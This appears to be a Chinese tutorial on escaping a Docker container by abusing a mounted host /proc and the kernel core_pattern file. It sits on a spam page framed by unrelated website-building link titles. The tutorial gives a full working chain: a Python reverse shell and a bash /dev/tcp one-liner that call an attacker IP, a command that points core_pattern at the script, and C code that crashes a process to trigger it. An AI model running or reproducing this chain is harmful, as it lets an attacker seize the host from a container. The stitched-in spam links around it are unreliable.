当前位置: 首页 > news >正文

中山网站建设价位领导视察网站建设

中山网站建设价位,领导视察网站建设,惠州哪家做网站比较好,网站建设网址一、产生原因 将宿主机/proc目录挂载进了容器,而该目录内的/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是| 管道符时,后面的部分会以命令行的方式进行解析并运行,攻击者可以将恶意文件写入该…

一、产生原因

将宿主机/proc目录挂载进了容器,而该目录内的/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是| 管道符时,后面的部分会以命令行的方式进行解析并运行,攻击者可以将恶意文件写入该文件,同时运行进程崩溃代码,执行恶意文件

二、利用条件

1、容器内挂载了宿主机的/proc目录

2、容器以root权限运行

三、复现过程

1、启动容器,挂载/proc目录

docker run  -itd -v /proc:/etc_proc --name=docker_escape ubuntu:18.04 /bin/bash

2、寻找容器在宿主机上的目录路径

cat /proc/mounts | grep docker

这就是容器在宿主机上的目录路径 

我们在容器内创建的文件最终都会保存在宿主机中 

3、写反弹shell脚本到/tmp目录下

这里可以写Python,也可以写shell脚本

Python:

root@8ba918290061:/# cat >/tmp/.x.py << EOF
> #!/usr/bin/python
> import os
> import pty
> import socket
> lhost = "attack_ip"
> lport = 10000
> def main():
>     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>     s.connect((lhost, lport))
>     os.dup2(s.fileno(), 0)
>     os.dup2(s.fileno(), 1)
>     os.dup2(s.fileno(), 2)
>     os.putenv("HISTFILE", '/dev/null')
>     pty.spawn("/bin/bash")
>     os.remove('/tmp/.x.py')
>     s.close()
> if __name__ == "__main__":
>     main()
> EOF

需要容器内有Python环境 

 shell:

#!/bin/bashbash -i >& /dev/tcp/192.168.239.138/2333 0>&1

最后别忘了加执行权限

chmod +x /tmp/exp.sh

4、在文件中/proc/sys/kernel/core_pattern 写入恶意文件

root@8ba918290061:/# echo -e "|/var/lib/docker/overlay2/629ba8f61b2311847d094297a0020d1f899d3072d9e82a12496ff2a919928963/diff/tmp/exp.sh \rcore           " > /etc_proc/sys/kernel/core_pattern

写入后,当进程崩溃后,该文件内管道符| 后的文件会被执行,从而执行了我们的exp.sh文件,反弹shell

5、执行c代码,使进程崩溃

#include<stdio.h>
int main(void)  {int *a  = NULL;*a = 1;return 0;
}

最后加执行权限,编译后执行

chmod +x payload.c
gcc payload.c -o payload
./payload

成功反弹shell 

http://www.yayakq.cn/news/499126/

相关文章:

  • 自己ip做网站网络游戏加盟合作
  • 怎么自己制作一个好的网站全国高校校园网站建设与发展高级研修班
  • 100款免费软件网站大全wordpress慕课网
  • 如何设计网站中的上传功能杭州做兼职网站
  • 做资料分享网站暑假适合带孩子去哪里旅游
  • 做企业网站需要资质吗免费的网页模板网站
  • 企业是如何做电子商务网站成都网站建设公司兴田德润在哪儿
  • 网站建设有哪些分工分国内网站速度慢
  • 网站开发结束语如何创建一个简单的网页
  • 付费抽奖网站怎么做一学一做演讲视频网站
  • 做打折的淘宝小卖家的网站怎么做像滴滴一样网站
  • 明星网站怎么设计社交网站建设内容
  • 石家庄站布局图深圳网站建设做一个公司网站要多少钱
  • 学校网站建设具体分工wordpress分类自定义文字
  • 十大货源网站大全河南省建设厅门户网站
  • 上海网站建设友汇网站网络机房建设公司
  • 大庆市城乡建设局网站网页设计在邯郸能干什么
  • 企业网站建设公司名称宁波网络推广平台推荐
  • 北京视频网站建设Wordpress的高级版
  • 淮安网站制作设计一个公司的官网怎么做
  • 淘宝上做网站 源代码怎么给你网站搭建免费模板
  • 分析网易严选网站开发wordpress如何清缓存
  • 舟山工程建设信息网站网站流量站怎么做的
  • 哪个网站网页做的好看网站文章内链
  • 合肥网站建设哪家好价格wordpress 改系统
  • 潜江建设网站网站的专业
  • 个人手机版网站app怎么做怎么免费建立网店网站
  • 网页制作与网站建设试题seo网站诊断价格
  • 百度不收录手机网站吗上海市建设合同信息表网站
  • 传奇辅助网站怎么做国外科技网站欣赏